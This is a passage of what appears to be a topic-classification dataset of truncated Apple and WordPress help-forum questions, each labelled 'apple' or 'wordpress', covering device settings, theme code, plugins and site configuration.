full potential of the system? I used an application called iFlicks to do video encoding, and ... ",['apple'] "Title: How do I open a file from TextEdit on MacOSX? Body: How do I create a link in TextEdit on MacOSX that will let me open an external application? ",['apple'] "Title: How to access/edit iPhone Contacts on computer? Body: I run Windows 7 (no Outlook available) and don't seem to find any native Address Book application on my computer (it is a work-provided laptop). We use Lotus Notes as our mail application. Because my ... ",['apple'] "Title: Why do I get different disk space information Body: When trying to clear space on my HDD before switch to a smaller (120gb) SSD I saw no change in the Info-window and quick view window. Realizing it had to be wrong I downloaded Disk inventory X that ... ",['apple'] "Title: Limit the use of my Apple ID on my kid's iPod Touch Body: I've had an iPod Touch (4G) for a couple years. Now I have an iPhone 5, so I want to remove all ""my"" apps/profile info from my iPod Touch and set it up for my children to use. Right now, both devices ... ",['apple'] "Title: How to disable long touch = click on MacBook Air touchpad? Body: If I leave my mouse in one spot for several seconds with my finger on the touch pad, it interprets it as a downclick. So if I hover over a file while thinking about something and then move my cursor, ... ",['apple'] "Title: Lost my Macbook pro with retina display. How do I find out if Find My iDevice is enabled on it? Body: Someone just broke into my apartment today and stole my new MacBook Pro. When I go to icloud.com and click on Find my iPhone, on the Devices section, my MacBook is listed. When I click on it, it ... ",['apple'] "Title: Using Kaleidoscope with PhpStorm Body: I'm currently trying to get PhpStorm to use Kaleidoscope as a diff tool, but struggling a little. So far in Storm, I've... gone to Preferences gone to the External Diff Tools tab set Kaleidoscope to ... ",['apple'] "Title: Can't access Xserve through Aventail SSL VPN with AD authentication Body: In testing our Aventail SSL VPN with Mac clients we're finding that once connected to the VPN we can't access Xserve shares when authenticating via Active Directory like we normally do on our internal ... ",['apple'] "Title: Stop new iOS auto-download on iPad Body: I noticed some weird traffic pattern on my internet connection, tracked it back to my iPad, after some tinkering I finally realized that my iPad is downloading iOS 6.1 on it's own!!! I didn't ask for ... ",['apple'] "Title: What are Exchange Email apps for iPhone 5 allow advanced font and layout controls? Body: What I need in my Microsoft Exchange 2010 mail client: send e-mails in the text font I want send e-mails with my HTML signature reply to e-mails without unformatting the e-mail being replied to ... ",['apple'] "Title: iTunes 11 Mini Player disappeared off screen Body: I accidentally dragged the iTunes 11 Mini Player off screen (near the OS X menu bar) and it disappeared. Showing all windows on the screen didn't help, the player window is nowhere to be seen. ... ",['apple'] "Title: networksetup not changing credentials for authorized proxy access Body: Background: I work in a school and we have shared laptops (which is a whole other issue) which for some AD integration difficulties are using a generic login. Due to the requirements of having a paper ... ",['apple'] "Title: Shutting down 2009 MBP with new install of 10.7.5, results in MBP restarting? Body: Can anyone help me with a problem I've just encountered with a 2009 MBP, I've just installed a new 500gb hard drive in the MBP and then cloned a clean install of os x 10.7 on to the new drive. I then ... ",['apple'] "Title: NAT port forwarding from host to client in VMWare Fusion 5? Body: How do I forward ports from my host machine to the virtualized machine when I'm using NAT to share my network connection? I found some instructions for earlier versions of VMWare, but I don't see the ... ",['apple'] "Title: New to Apple TV - struggling with AirPlay and Home Sharing Body: Can't get subject to work consistently. Some times I can access AirPlay on my Macbook Pro. On my iPhone (4S) and my iPad (3rd gen) I can't find the airplay icon. The Home Sharing option has never ... ",['apple'] "Title: Lightweight “sounds similar” radio app (OSX) Body: Is there a Mac app that offers one-click or one-keystroke access to a box where I type in a song, artist, or genre I want to hear ""sounds similar"" radio for (a la Pandora), hit enter, and listen? ... ",['apple'] "Title: How can I control a Mac through TS-Gateway? Body: I have a new Mac at the office. We have a pretty closed off firewall here but we allow people to work remotely through a TS-Gateway using RDP. For a client I use iTap as it supports the gateway very ... ",['apple'] "Title: What is accountsd and why does it want to use the “login” keychain? Body: Periodically, I'm seeing this keychain dialog pop up: I click 'Cancel', then it pops up again, then I click 'Cancel' again, and it goes away for a while. (Maybe an hour or two, I haven't timed ... ",['apple'] "Title: Achieving pagination with `query_posts` Body: I'm using query_posts to build a list of posts from a single category, and I'm trying to add pagination to this setup. Here's my code: <ul> <h1><?php the_title(); ?></h1> ... ",['wordpress'] "Title: How to change a specific page to custom page? Body: I want to change specific page so that non-member users will be faced with a form that they can register with, and also this page wouldn't look like the others, I mean this page must be totally ... ",['wordpress'] "Title: Is there a way to target only images within the loop? Body: I'm new to WordPress and I'm trying to target specific parts of the content. I understand how to grab the title with get_title() — is there something similar for images? ",['wordpress'] "Title: Looking to sell ads by zip code and need a solution [closed] Body: I am trying to find a way to sell advertisements on a wordpress site based on the visitors zip code. I have been unable to find a way to do this through plug ins....does anyone know how we can use a ... ",['wordpress'] "Title: how to check if given page is active page Body: I am building my own custom menu for custom post type. I have a loop and I need to know if given item is active one. How to this properly? How to compare if given items address (slug, permalink, id ... ",['wordpress'] "Title: a good tutorial to learn to make a widget for a custom archive page? [closed] Body: I found this tutorial http://www.yaconiello.com/blog/how-to-write-wordpress-plugin/#sthash.OjShWmHq.dpbs Is this a good way to make a plugin which contains a widget which displays a custom layout for ... ",['wordpress'] "Title: How to clear the cache? Body: I have made changes in my CSS, but it doesn't work. I know it's because of caching from admin panel. How to clear cache of my WP admin. Is there any method to clear the cache? ",['wordpress'] "Title: Show Daily Archives after specific dates Body: I am currently showing a daily archive using the following <?php wp_get_archives('type=daily&limit=15'); ?> It shows all the older posts as daily archives. However, Is it possible to ... ",['wordpress'] "Title: loading a custom stylesheet in a function Body: im having problems loading my custom stylesheet inside wp-admin here is my code to load stylesheet inside my theme's function.php add_action('admin_head', 'my_custom_style'); function ... ",['wordpress'] "Title: How to fix 'Call to undefined function do_settings()' error? Body: I am writing my first plugin and to access/save options I follow codex.wordpress.org/Creating_Options_Pages I basically copied the example from 'See It All Together' in a separate file ... ",['wordpress'] "Title: How to undo deregister script and use local versions? Body: The WordPress theme I am using deregisters the jQuery and jQuery UI libraries and registers google-hosted versions instead of the libraries from wp-includes. Here is the code in `functions. UPDATE: ... ",['wordpress'] "Title: wp_enqueue_style url is trimmed somehow Body: I am using a plugin that adds a style with wp_enqueue_style(). When I look at the page source I find this line: <link rel='stylesheet' id='ai1ec_style-css' href='http://heseg.com/' ... ",['wordpress'] "Title: Access last visit time to a post Body: Is there any function or a way to access the time of last visit to a post by a visitor? ",['wordpress'] "Title: Get gravity forms fields name and id based on form id Body: I am using the gravity form on my site. I am working on create the custom report for this I have need gravity form fields name and id based on specific form id.Please let me know how I can do it. I ... ",['wordpress'] "Title: Permanently modifying the W3 Total Cache's nginx.conf file Body: I want to have an add_header directive inside a location block of the nginx.conf (inside the document root) generated by W3 Total Cache like this # BEGIN W3TC Page Cache cache location ~ ... ",['wordpress'] "Title: Buddy Press verified plugin alternative Body: I was searching the forums today and came across Buddy Press Verified plugin. I have a site on which I want to specify verified user by putting the same check mark as twitter have. For some reasons ... ",['wordpress'] "Title: Issue on Setting $icon_url Parameter on WP add_menu_page() Body: I am trying to create a custom Menu by using the WordPress add_menu_page() function. I think I understand the whole function parameters as Codex point it out as: <?php add_menu_page( ... ",['wordpress'] "Title: Moving from a multisite development site to a new non-multisite server, Can't import media successfully Body: After developing a website on a multi-site setup, I'm now making the website live on a single wordpress installation on a separate server. I'm trying to import my content using the wordpress ... ",['wordpress'] "Title: post edit button on front end Body: If you are logged-in and switch to the front-end the default Wordpress theme Twenty Eleven provides edit buttons next to every post. Pressing this button you get to the certain post's back-end post ... ",['wordpress'] "Title: Font Face Doesn't want to work in Wordpress Body: I do have a font I want to use with my links. Somehow it doesn't work. @font-face { font-family: HelveticaNeueLight; src: local('fonts/HelveticaNeueLight.ttf'); } My font path is: ... ",['wordpress'] "Title: Remove post title input from edit page Body: I'd like to remove the post title input on a (cpt) post edit page (backend) based on user's capabilities. I have already found Stack Overflow question dealing the problem. However, the solution in ... ",['wordpress'] "Title: Query sql for truncate post_content in wp_posts table Body: Hello all i need remove all info in Wordpress posts content and i'ld like do it from phpmyadmin with a query. I need remove only the text and images from all posts content but not the entire post, so ... ",['wordpress'] "Title: wp_schedule_event in a class Body: This is my (stripped down) plugin, in OOP: <?php /* Plugin Name: Cron Test Plugin URI: http://www.mywebsite.com/ Description: Test Version: 1.0 Requires at least: 3.0 */ class CronTest { public ... ",['wordpress'] "Title: get post (method) in a fucntion Body: I have a step processing form. step1, step2, step3, step4 after Step2, it goes a fucntion and save values. then it goes to ""step3"". all of steps are move as post method like this. <form ... ",['wordpress'] "Title: Why does my URL keep returning 404 error code? Body: I have a custom type on my wordpress site called 'movie'. If the user type this URL : http://mysite.com/1994, I would like to display all movies published in 1994. Unfortunately, I get a consistent ... ",['wordpress'] "Title: What's causing 'headers already sent' in minified javascript file with WP Total Cache 3 Body: I'm adding WP Total Cache to my site but whenever I enable minification I get the following message in the minified javasctipt file: <br /> <b>Warning</b>: Cannot modify header ... ",['wordpress'] "Title: Custom Titles and Descriptions for Custom Post Types Archives Body: I have a few Custom Post Types (CPT). I use archive-CPT.php custom loop templates too. Question: How can I specify a custom Title tag and meta Description for each of these archive archive-CPT.php ... ",['wordpress'] "Title: Is it possible to pass custom args to action/filter callback functions? [duplicate] Body: I am filtering the Where clause with the filter hook ""posts_where"" and I would like to pass a custom argument to the callback function. Because I don't know how to do that yet, I am adding the filter ... ",['wordpress'] "Title: Multiple Rows in a <table> using wp_query Body: I am displaying posts in a grid (4 posts wide by 2 posts high). I am using a table. In order to get the content to display on the second row, I am using two wp_queries (one on each row) because I ... ",['wordpress'] "Title: Template Hierarchy: confused with index.php, front-page.php, home.php Body: I'm really confused with index.php, home.php and front-page.php. In many cases even though I had an index.php, I overwrite it with front-page.php. But recently, I became aware about home.php. What's ... ",['wordpress'] "Title: WooCommerce Always Include Shipping Information in Checkout Body: I have virtual products in my store but I still want to collect the shipping information from my customers so that I can mail them a card at the end of the year. But a cart with virtual products ... ",['wordpress'] "Title: Updating Style From WP Options Setting Page Body: Can you please let me know how I can set a function to update change the style like any CSS class from the setting option page? For example I have some <P> elements with a class name .impo. Now, ... ",['wordpress'] "Title: How to limit number of file selection in plupload in wordpress Body: I am searching for solution to limit file selection in plupload in wordpress. So that user cannot just abuse the multi selection option and will upload limited files at a time for example 1 or 2 at a ... ",['wordpress'] "Title: Unfiltered html with update_post_meta Body: I have buddypress installation. When posting an acitivity, I'm including some data (html) as meta. Let me show some code: this is an action triggered when acitivty is posted. function ... ",['wordpress'] "Title: the_content() function in loop-single.php Body: i need to show to different layout based on featured_image size for that how on can the_content() as per that. if featured_image .size =={ the layout would A } else{ the layout would B } how does on ... ",['wordpress'] "Title: How do I pull all of the current category images and titles in WooCommmerce? Body: I have been wracking my brain for two days trying to figure this out. The widget with Woomcommerce to show Categories only shows the titles but I need it to also pull the category image. On top of ... ",['wordpress'] "Title: How can I exclude tags from category_rss function? Body: I have been struggling with the following problem: The default wordpress RSS Feed includes also tags in category function. As a result, if you use a merge tag to show the post category (i.e. I am ... ",['wordpress'] "Title: Upload button is not working under add_menu_page Body: I was trying to add an option panel to my theme and followed a tutorial: How to Integrate the WordPress Media Uploader in Theme and Plugin Options. Everything's perfect until I wanted to show the ... ",['wordpress'] "Title: Add code into <head> on a per page/post basis Body: Is there plugin (or an easyish way) to add code to the <head> section on a per page/post basis? I have a multilingual website and I need to implement the rel=""alternate"" hreflang markup, so ... ",['wordpress'] "Title: Displaying post titles from specific category in WordPress Body: I would like to display a few post titles from a specific category on homepage. First one have to be with a small thumbnail and excerpt and rest of them just title. Below this section I would like to ... ",['wordpress'] "Title: I want to integrate codeigniter login with wordpress login form only for user of the website Body: i want to integrete website in all the code are done in codeigniter but only blog are develope by wordpress. 1.My client want to access the login for user from codeigniter not from the wordpress. ... ",['wordpress'] "Title: How to Access Product Dimensions in Woocommerce? Body: I'm trying to create a new shipping method for woocommerce. So I created a plugin as suggested. I'm trying to get the product dimensions height, width, length, weight, and besides the destination ... ",['wordpress'] "Title: add_filter for get_price_html Body: I am needing to write a functions filter for $get_price_html. Currently $get_price_html gives me <span class=""amount"">$122</span> and I need it to be able to give me <span ... ",['wordpress'] "Title: Divide Post content into separate divs for every 500 characters (or any other character counts) Body: What is the best method for intercepting the_content of a post (for a single post page) and dividing the_content into sections of 500 characters (or any other number of characters), and then ... ",['wordpress'] "Title: Same term from custom taxonomy in two different custom post types? Body: I use a front end form to insert custom post types, an input is used for inserting terms (keywords) to a custom taxonomy for this custom post type. I just noticed in the back-end when I view the ... ",['wordpress'] "Title: WP-o-Matic: failed to open stream: File name too long Body: I take RSS feeds, (http://feeds.theguardian.com/theguardian/music/rss) no problems with save text of post, but will not take a picture. Warning: ... ",['wordpress'] "Title: Search Custom Post Type with all meta attached? Body: I'm currently have a search box that's supposed to search a certain post type. It's supposed to check the query against all standard cpt content, tags and the associated meta data. I'm wondering how I ... ",['wordpress'] "Title: How to create single static page extending another URL Body: I have existing URL game/ninja-cat-and-zombie-dinosaurs/ which is created by rewrite: game/([^/]+)(/[0-9]+)?/?$ It leads to a custom post type (defined by theme Swatch). Now I'd like to have a URL ... ",['wordpress'] "Title: What Blank Theme Do you Use Body: I just want to hear your suggestions about this ... As of now, Im using Chris Coyiers Blank Theme to i make Custom Wordpress sites. I For example in the header.php <!DOCTYPE html PUBLIC ... ",['wordpress'] "Title: Customize WooCommerce Product Images (Placement and size) Body: so I'm having trouble trying to re-size my product thumbnail images. The site can be seen here : http://www.seekoften.com/eCommerce . I'd like the single-product page to have square thumbnails below ... ",['wordpress'] "Title: If Posted After Date Body: I need to get a different ""get_template_part"" based on the date and category. I have changed the outlay of the category which means any post in that category before today's date wont be able to use ... ",['wordpress'] "Title: Generating a feed of all but one category of posts Body: I'm basing my first WP theme off a blank/boilerplate theme which generates the front page post feed using this code (which is generally present in most WP themes): <?php while ( have_posts() ) : ... ",['wordpress'] "Title: Overriding get_post_thumbnail to get custom image Body: I'm using SEO Ultimate and I'd like to change the way the Open Graph Integration works with my custom built theme. By default, SEO Ultimate has a default site og:image and uses the featured image ... ",['wordpress'] "Title: How use %like% in sql statement wordpress Body: i use a like %text% statement in wordpress: SELECT * FROM location WHERE name LIKE ""%on"" OR name LIKE ""%on%"" i tried anything but it's not run: $wpdb->get_results($wpdb -> prepare(""SELECT ... ",['wordpress'] "Title: Is that a malicious code? Body: Recently I have downloaded a wordpress theme . I use Theme Authenticity Checker (TAC) (http://wordpress.org/plugins/tac/) plugin to find any malicious data . According to it's report the theme ... ",['wordpress'] "Title: How to customize admin edit page - custom type Body: I create a custom post type to manager my custom form. How i can display my details data in admin dashboard. It may look like ... ",['wordpress'] "Title: How to create custom home page via plugin? Body: I want to code a plug-in that creates new custom home page. Note that I have never coded any plug-in before. 1) After activation of plug-in user needs to go to the options of the plug-in and set up ... ",['wordpress'] "Title: Some images not found 404 in localhost Body: I just transferred a WordPress installation from the domain to my localhost. I did all the usual steps: copy files, export DB and replace domain.com with localhost, update wp-config.php and refresh ... ",['wordpress'] "Title: Using Wordpress multisite is there a way to force HTTPS on specific subsites and not others? Body: I'm aware of the global variables that allow you to FORCE_SSL and FORCE_SSL_ADMIN. I am wanting to apply these settings on a per-site basis. For example, forcing SSL browsing and admin for a specific ... ",['wordpress'] "Title: Custom Fields & Posts Body: I've got one template, which I use on many different pages. The problem is that I want to show different posts according to their ""pagename"" category. Ex. ""About"" is going to show ""About category"" ... ",['wordpress'] "Title: Wrapper class: How to get rid of call_user_func_array() warning? Body: I have several installations of wordpress and now im trying to create my own small framework so I can create and maintain my themes more efficiently. What I would like to do is to have a wrapper for ... ",['wordpress'] "Title: Display custom post function ONLY if it has a value [closed] Body: How do I get the following code to insert a link only if the custom function has a value? <td><a href=""<?php echo esc_html( get_post_meta( get_the_ID(), 'game_review_link', true ) ); ... ",['wordpress'] "Title: do_action( 'init' ) in wp-settings.php breaks my website. All plugins and themes disabled Body: As the title says, do_action( 'init' ) in wp-settings.php breaks my website. All plugins and themes have been disabled. Basically if I comment out line 308 which is simply do_action( 'init' ); then ... ",['wordpress'] "Title: wp_enqueue_script Body: avarias_js.js function limpar() { alert('test'); } avarias.php function initjs() { wp_enqueue_script( 'avarias_js', plugins_url( 'avarias_js.js', __FILE__ ) ); } /* echo '<button ... ",['wordpress'] "Title: Custom Homepage Pagination using WP_Query Body: I have a situation and all the searching I've done hasn't led me to a successful outcome. I have a static homepage template with a custom wp_query that looks like the following (which works on another ... ",['wordpress'] "Title: Show Parent and child categories of custom Taxonomy Body: So i have a custom Taxonomy called ""Product groups"" and i want to display the parent 'categories' that link to a page with the children of the main categories. How can i do this? ... ",['wordpress'] "Title: Load complete image, but don't bother the site speed Body: I designed and developed a site for my client. For images, I used the default WordPress sizes: original, large, medium and thumbnail (although I made some minute changes in their dimensions). As I ... ",['wordpress'] "Title: Add Sort Link in Custom Post Type List Body: I need to add a link here, beside the Published link: How can I do it? I'm trying to filter my custom post type by meta values and need a link to do it. Thanks. ",['wordpress'] "Title: Limiting the number of users Body: I was wondering if there is a way to actually limit the amount of users that can register to a Wordpress site? As an example, I am wanting to create a small site that will hold information for a ... ",['wordpress'] "Title: Check whether a custom taxonomy term has published posts? Body: I'm making a magazine theme for a client and using a custom 'issue' taxonomy. There is a new issue every week, and I also have a function that get's the latest issue. But the editor creates a new ... ",['wordpress'] "Title: Issues with Post 2 Post Plugin Body: I am trying to create connections between some of my posts. I have pairs of posts that need to go together (post with a quiz). I found the Post 2 Post plugin, which seems perfect for what I need. I ... ",['wordpress'] "Title: Img Src File path issue Body: To get images loaded correctly when I use img src in HTML, I have to give the entire file path. Using CSS I would only need to use: `background-image: url(images/morebutton.png)` With img src I ... ",['wordpress'] "Title: How to get outside login data (session) in WordPress? Body: i want to use codeignider login form session in wp login form public function check_login() { if($this->session->userdata('logged_in')) { redirect('/'); } //Set ... ",['wordpress'] "Title: Infinite-Scroll Plugin and Jetpack Infinite Scroll Plugin - Adding to “Thoughts” Theme Body: How do I enable infinite scroll (either with the infinite-scroll plugin OR the built in infinite scroll jetpack) on the ""Thoughts"" Wordpress theme? I'm a total noob at editing this stuff so if you ... ",['wordpress'] "Title: Trying to get my gallery to be responsive based on the post Body: I am trying to build a gallery page that is responsive to the post ID. After discussing ideas with a friend who is far more knowledgeable in WP he suggested I use post ID in my arguments that is ... ",['wordpress'] "Title: Displaying a Custom Post Type in a Page with Pagination Body: Im using a professionally developed website theme that has ""kriesi’s pagination"" already implemented. Anyway my goal is to have a page which contains all the ""team"" members who are involved with the ... ",['wordpress'] "Title: Adding result from PHP function into an input field Body: I have the following PHP code which is a template page for a wordpress site: <?php /* Template Name: Calculator Form */ get_header(); ?> <div id=""content"" class=""grid_7 suffix_1 <?php ... ",['wordpress'] "Title: Adding font icons to a subnav with wp-list-pages Body: I am using the Font Awesome Menus plugin (http://wordpress.org/plugins/font-awesome-menus/) to show font icons next to each menu item by adding the icon name to the CSS class input. I would really ... ",['wordpress'] "Title: Edit Buddypress Groups Activity Page Text Body: I am setting up a Wordpress site with Buddypress functionality for a client. The client wants the ""What's new"" text under the ""Activity"" tab changed to something else. I feel like this should be ... ",['wordpress'] "Title: Options not being deletd via ajax in wordpress Body: I have this fucntion which is called via Ajax to delete an option based on the name passed in. function uncheck_package(){ if(isset($_POST['element_value'])){ $element = ... ",['wordpress'] "Title: Network Sites in Word press is missing a site Body: Not not sure if this has been asked before. I inherited a site, and its a WP network site. I change the admin user/password to mine just by using MYSQL update in Linux with id=1. I was then able to ... ",['wordpress'] "Title: Using spellchecker plugin in TinyMCE Body: I have installed PSpell and updated the config file to use it instead of GoogleSpell. Then in my functions file I have added spellchecker to the plugins part and the button. The button shows up but it ... ",['wordpress'] "Title: Wordpress stripping out BR tags, need assistance Body: Im having a problem where WP for some odd reason is stripping out my BR tags. Ive looked online and have read a few solutions that people offered including the installation of TinyMCE advanced plugin ... ",['wordpress'] "Title: Facebook Like Button in Jetpack Body: I'd like to have a Facebook Like Button (not a Facebook share, which is available) through Jetpack. There is a ""Add a new service"" and I've tried various parts of code from all over but always gets an ... ",['wordpress'] "Title: Country list in contact form 7 Body: when i create dropdown list of country with all country list it not created and redirect to problem loading page, but when i add some of country list it work. Please help me. ",['wordpress'] "Title: How to create custom variables in the wp-config Body: I would like to add some custom config variable in the wp-config file (not in the functions.php). Then, I need to access to these variable in my templates. What is the way to do it ? ",['wordpress'] "Title: Insert a Woocomerce product in specific product category Body: I'm a bit new to Woocomerce plugin and have a problem. I need to create products from code not from admin page. Probably I will insert them with wp_insert_post( $product ). The problem is I don't ... ",['wordpress'] "Title: Double permalinks for custom type post Body: I have custom type post named 'team' as follows: add_action( 'init', 'my_team_members' ); function my_team_members() { register_post_type( 'team', array( 'labels' => array( 'name' => ... ",['wordpress'] "Title: Query parsing only author ids Body: I need array only all author ids from the loop, each one only once if possible and out of all posts in the loop. Any suggestions? ",['wordpress'] "Title: Can't change parent page Body: Some of my pages are children of ""home"". I want to assign them to a new page. But I cant change the pages parent. Everytime I try and publish, it just switches back to ""home"". I am using the ... ",['wordpress'] "Title: How do filters and hooks really work in PHP Body: How does filters and hooks actually work in WordPress? I'm asking about something advanced. How is it implemented in PHP? E.g how does it collect all the hooks from the different plugins and ""attach"" ... ",['wordpress'] "Title: Fatal error: Call to a member function update() on a non-object in my resturant plugin file restaurants.php Body: when ever i click on publish or save button in custom post type in wordpress it will shows above error. I am using single database (i.e, gls) but that database share data both sites. The problem is ... ",['wordpress'] "Title: Order by DESC, ASC in custom WP_Query Body: I need to do multi-level ordering in a query. The issue is with ordering one value DESC and the other ASC as in SQL. The following SQL seems to give me what I want when I run it in terminal: SELECT ... ",['wordpress'] "Title: Selectively Disabling PHP via .htaccess in Root Directory Body: I'm reading up on securing WordPress and one of the commonly suggested techniques is to use an .htaccess file to disallow PHP execution in wp-content and wp-includes. I then read about another hack ... ",['wordpress'] "Title: Missing WooCommerce user roles after migrating to multisite Body: I've just migrated all my stand-alone WP installation to one multisite. I merged users and metas so...yes, it was a pain in the neck! Expecially regarding user_roles: I had to tweak deeply directly ... ",['wordpress'] "Title: deleting replies on post previews on the homepage Body: Does anyone know how I can remove the text that says how many Replies there are underneath each post preview on my homepage? I would prefer to see just the title and the date. This is something I ... ",['wordpress'] "Title: Custom Taxonomy custom structure Body: permalink structure is /blog/category/postname got a custom taxonomy which now prepends 'blog' to itself. /blog/custom_taxonomy/category/ want to get rid of 'blog'. using Magic Fields 2 (not by ... ",['wordpress'] "Title: Problem in getting value from SMOF Body: I am using the theme option framework SMOF.My options $of_options[] = array( ""name"" => ""Typography"", ""desc"" => ""This is a typographic specific option."", ... ",['wordpress'] "Title: Use custom clean URLs for a plug in Body: I've created a plug in that displays a list of items from the database. I need to link from an item to the item description page, however instead of the link looking like: ... ",['wordpress'] "Title: Contents are missing but shown when switching to another theme in wordpress Body: I was surprised this morning to hear that the contents on my WP site are erased, said my client. I tried disable all plugins one by one, but the problem still exists. I also changed the memory limit ... ",['wordpress'] "Title: URL rewrite rule not working for wpmudev Q&A plugin Body: I have installed the wpmudev Q&A plugin on my localhost wordpress test site. The problem I have now is that the the url localhost/questions/ask/ redirects to localhost/ and does not display the ... ",['wordpress'] "Title: Frontend Uploader plugin: how to deal with taxonomies? Body: I am using Frontend Uploader plugin. I want to know how to add taxonomies to an attachment on the form. Here is the registered taxonomy: function create_image_taxonomies() { $labels = array( ... ",['wordpress'] "Title: Customized Comment Form Issues Body: I'm developing a Wordpress theme and I faced a problem while customizing a comment form. What I wanted is to eliminate URL field and put my own classes for name and email fields. I'm doing it like ... ",['wordpress'] "Title: Custom Post Loop pulling all custom posts, not just one Body: I'm having an issue with a loop pulling every custom post in my template and not the one that has been requested. This can be seen here: http://i.imgur.com/1YKeLtV.png Here is the code I'm using to ... ",['wordpress'] "Title: Popular post display [duplicate] Body: I'm trying to display 5 or 10 popular post in my side bar. I searched for plugins some that worked perfect was this 'easy popular post' by 'Christopher Ross '. It worked fine but does not display ... ",['wordpress'] "Title: How to handle change the appearance of 'categories' box on dashboard? Body: I have a site with hundreds of categories, and when I come to edit some menu on wp-admin/nav-menus.php it is really difficult, because in the categories box there a few pages, with something like 20 ... ",['wordpress'] "Title: Call to undefined method - Download Monitor Body: I have been working on adding some customizations to Download Monitor So far I have been able to add custom meta check boxes, and save them using the following code. global $post, $download; //add ... ",['wordpress'] "Title: Configure which plugin custom post types get registered Body: I am writing a plugin that creates custom post types, but i want users to be able to turn them on and off via a filter in the functions.php file. The issue i'm having is that custom post types ... ",['wordpress'] "Title: Can customize the logo and background in the same theme Body: I am trying to figure out how to add a logo in the customizer and add a background in the customizer without adding the images through CSS. Is this possible? I am currently using the twentythirteen ... ",['wordpress'] "Title: Turn off xml rcp for certain users Body: I built a web app with wordpress that receive inputs via ifttt.com. Ifttt uses the xml rcp protocol to send messages to a worpdress based site. Specifically, ifttt creates a new post when certain ... ",['wordpress'] "Title: get_posts - get all posts by author id Body: I want to get all posts by certain author id (current user). Later, I want to pick the first post made by this user (ASC). I guess I do not use the right arguments in get_posts, am I? ... ",['wordpress'] "Title: How to skip rendering empty/blank lines from exploded textarea [migrated] Body: I am trying to not render blank/empty lines that are entered within a textarea. I'm using the below code to explode each line and wrap it in an < li > tag. In the screenshot, you can see that empty ... ",['wordpress'] "Title: Unable to send upload url Body: I have created an image uploader, when I click the submit button the media uploader pop-up box appears but the image path is not being sent to the input field. Display code: <label ... ",['wordpress'] "Title: How to upload completed WordPress Website [duplicate] Body: Hello WP Answers community, I am new around here and also new with WordPress. As of now, I am managing several WordPress websites and before I ""push"" the new WordPress website to a new website, I ... ",['wordpress'] "Title: Changing The Site URL in MULTISITE Body: How do I change the ROOT Site (URL) in Multisite? ",['wordpress'] "Title: how to remove user name and date in post page Body: Every post page shows user name and date in top of page. Pinboard theme is used. Wordpress is used like CMS and this info in not nessecary. Pages cannto used since pages does not allow to add tags and ... ",['wordpress'] "Title: wordpress step form - how to move values to next step? Body: I am building a simple step form (step1 -> step2 -> step3) At the first page, I did like this. if( isset($_POST['step1']) ) { include_once( get_template_directory() . ... ",['wordpress'] "Title: Get part of a page url Body: I've been searching for this, but I can't find the answer. What I want to do: Every post will have a link to a page and that page needs to get the content of the post (the current post from where ... ",['wordpress'] "Title: Jquery Validation Engine plugin is not working in wordpress custom page template Body: I am using a custom page template and including jquery validation plugin after the <!--Content Row--> comment, the code is as follows <?php get_header(); ?> <?php //Template Name:test ... ",['wordpress'] "Title: Count > 1 Navigation Slider Body: I have a post type slider, when you have more than one post to display navigation. My code: <?php $count_slider = wp_count_posts('slider'); echo $count_slider->publish; ?> <?php ... ",['wordpress'] "Title: Using a query to display custom post types based on ACF post_object Body: Basically the set up I currently have is two sets of custom post types which are: uc_university and uc_course I'm having lots of trouble trying to display a course based on a my Advanced Custom ... ",['wordpress'] "Title: Binding data-thumb and data-src with wordpress Body: How can I retrieve the featured image and the content here? <div data-thumb=""img/shelter.jpg"" data-src=""img/camera/slides/shelter.jpg""> ",['wordpress'] "Title: Post Filter clearing on pagination $_post Body: I have a form, in which users can select what taxonomy they want the posts filtered by. It works fine except that it doesn't paginate. When I click on the next page of results, it clears the query. ... ",['wordpress'] "Title: How to enqueue scripts in right way in a plugin? Body: I am developing a wordpress plugin and just came out with a problem with enqueue scripts. I want to enqueue JQUERY UI (.js) and (.css) in my plugin. Is it better to enqueue it from Google CDN or ... ",['wordpress'] "Title: Category page with gallery for each post Body: I'm looking for a bit of direction on how to set up a category page (for a real estate company). What would be the best way to have a gallery of images (1 large photo and several thumbnails) listed ... ",['wordpress'] "Title: Skip foreach loop Body: Here's a little coding problem for you. The code: if ($categories) { foreach ($categories as $tag) { $tag_link = get_category_link($tag->term_id); //new line if ... ",['wordpress'] "Title: Pretty links for PHP pages above WP /blog directory? Body: I've made a new WP installation in a subfolder /blog, set up with ""Post name"" permalinks. I'm ready to make several other non-WP website PHP pages which would reside above the /blog directory. I was ... ",['wordpress'] "Title: CPT Archive with parent page Body: Is it possible to set a parent page to a CPT Archive? I used a plugin to add archives to the nav_menu section. That works. But I also want the link to be /parent/archive. Is there a plugin or ... ",['wordpress'] "Title: How to associate more than one user to a post? Body: I have a website we're building with 1600 'Business Listings' which are made as custom post types. Our problem is that, while there only needs to be one 'editor' of each post/company, there are ... ",['wordpress'] "Title: Show Secondary Sidebar on Category pages (archive) Body: My site has the following structure where one column is for the main content (articles) and the other one, on the right, is for the sidebar (primary sidebar). The theme allows me to change the layout ... ",['wordpress'] "Title: Decouple page name from page title Body: As far as I can see, the name of a page (in admin) is the same as the title for the page. In many cases you would want the page name to be something else to better grasp what it's about while ... ",['wordpress'] "Title: Taxonomies not appearing in columns on dashboard Body: I'm having some issues trying to get taxonomies to appear in the post columns on my dashboard, the custom functions appear correctly, just not the taxonomies, anyone see where I'm going wrong? Here is ... ",['wordpress'] "Title: Url rewriting work only on the index Body: First, I register a variable named ""bouquet"" using this function & this filter: add_filter( 'query_vars', 'bouquet_query_vars' ); function bouquet_query_vars( $query_vars ) { $query_vars[] = ... ",['wordpress'] "Title: Menu item not created on theme activation Body: On theme activation the following code doesn't create my menu with the 'New Page' item, the menu is created and the location is assigned to 'submenu' but no menu item of my newly created page? What ... ",['wordpress'] "Title: Warning: Illegal string offset Body: My server administrator recently updated php from PHP 5.2.17 to 5.4.17 and my site at annegaines.com appears to have gathered a lot of errors. Most notably on the subpages like ... ",['wordpress'] "Title: pre_get_posts works in post type archive but not in single post Body: I have a custom post type ""Scholars"" that has an archive. I want to sort by a custom meta field called ""year"", I'm doing this with pre_get_posts: add_action('pre_get_posts', 'my_queries'); function ... ",['wordpress'] "Title: remove <p> tags from the_content Body: I've got a post format of Image, and I am running into an issue where the image is being wrapped by a <p> tag. I want to get rid of that tag (specifically on the single.php version) of those ... ",['wordpress'] "Title: Wordpress subdomain wp-admin redirects to main domain Body: we have a wordpress installation running on address www.example.com. We wanted to have a development site for it as a subdomain, so we created a subdomain dev.example.com on cpanel. Created a ... ",['wordpress'] "Title: is_post_type_archive not working in feed Body: I'm trying to 